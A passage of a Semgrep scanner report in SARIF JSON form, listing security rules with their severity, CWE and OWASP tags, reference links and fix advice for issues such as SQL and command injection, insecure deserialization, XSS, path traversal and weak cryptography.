problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block."},"help":{"markdown":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#default_action](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#default_action)\n - [https://docs.microsoft.com/en-us/azure/firewall/rule-processing](https://docs.microsoft.com/en-us/azure/firewall/rule-processing)\n","text":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","id":"terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","name":"terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","id":"terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","name":"terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","id":"java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","name":"java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A specially crafted calldata may be used to impersonate other accounts"},"help":{"markdown":"A specially crafted calldata may be used to impersonate other accounts\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.superfluid-ctx-injection.superfluid-ctx-injection)\n - [https://rekt.news/superfluid-rekt/](https://rekt.news/superfluid-rekt/)\n - [https://medium.com/superfluid-blog/08-02-22-exploit-post-mortem-15ff9c97cdd](https://medium.com/superfluid-blog/08-02-22-exploit-post-mortem-15ff9c97cdd)\n - [https://polygonscan.com/address/0x07711bb6dfbc99a1df1f2d7f57545a67519941e7](https://polygonscan.com/address/0x07711bb6dfbc99a1df1f2d7f57545a67519941e7)\n","text":"A specially crafted calldata may be used to impersonate other accounts"},"helpUri":"https://semgrep.dev/r/solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","id":"solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","name":"solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.superfluid-ctx-injection.superfluid-ctx-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","id":"javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","name":"javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","id":"python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","name":"python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"help":{"markdown":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none)\n - [https://flask-login.readthedocs.io/en/latest/#session-protection](https://flask-login.readthedocs.io/en/latest/#session-protection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","id":"python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","name":"python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead."},"help":{"markdown":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1)\n - [https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html](https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html)\n - [https://shattered.io/](https://shattered.io/)\n","text":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","id":"ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","name":"ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"help":{"markdown":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.subprocess-injection.subprocess-injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.subprocess-injection.subprocess-injection","id":"python.flask.security.injection.subprocess-injection.subprocess-injection","name":"python.flask.security.injection.subprocess-injection.subprocess-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.subprocess-injection.subprocess-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","id":"python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","name":"python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","id":"python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","name":"python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-dsa.cryptography-dsa)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-dsa.cryptography-dsa","id":"python.cryptography.cryptography-dsa.cryptography-dsa","name":"python.cryptography.cryptography-dsa.cryptography-dsa","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-dsa.cryptography-dsa"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","id":"typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","name":"typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","id":"csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","name":"csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","HIGH CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.system-command.command-injection-path.command-injection-path)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.system-command.command-injection-path.command-injection-path","id":"cpp.lang.security.system-command.command-injection-path.command-injection-path","name":"cpp.lang.security.system-command.command-injection-path.command-injection-path","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.system-command.command-injection-path.command-injection-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later."},"help":{"markdown":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.insecure-ssl-version.insecure-ssl-version)\n - [https://www.acunetix.com/blog/web-security-zone/hardening-nginx/](https://www.acunetix.com/blog/web-security-zone/hardening-nginx/)\n - [https://www.acunetix.com/blog/articles/tls-ssl-cipher-hardening/](https://www.acunetix.com/blog/articles/tls-ssl-cipher-hardening/)\n","text":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.insecure-ssl-version.insecure-ssl-version","id":"generic.nginx.security.insecure-ssl-version.insecure-ssl-version","name":"generic.nginx.security.insecure-ssl-version.insecure-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.insecure-ssl-version.insecure-ssl-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` 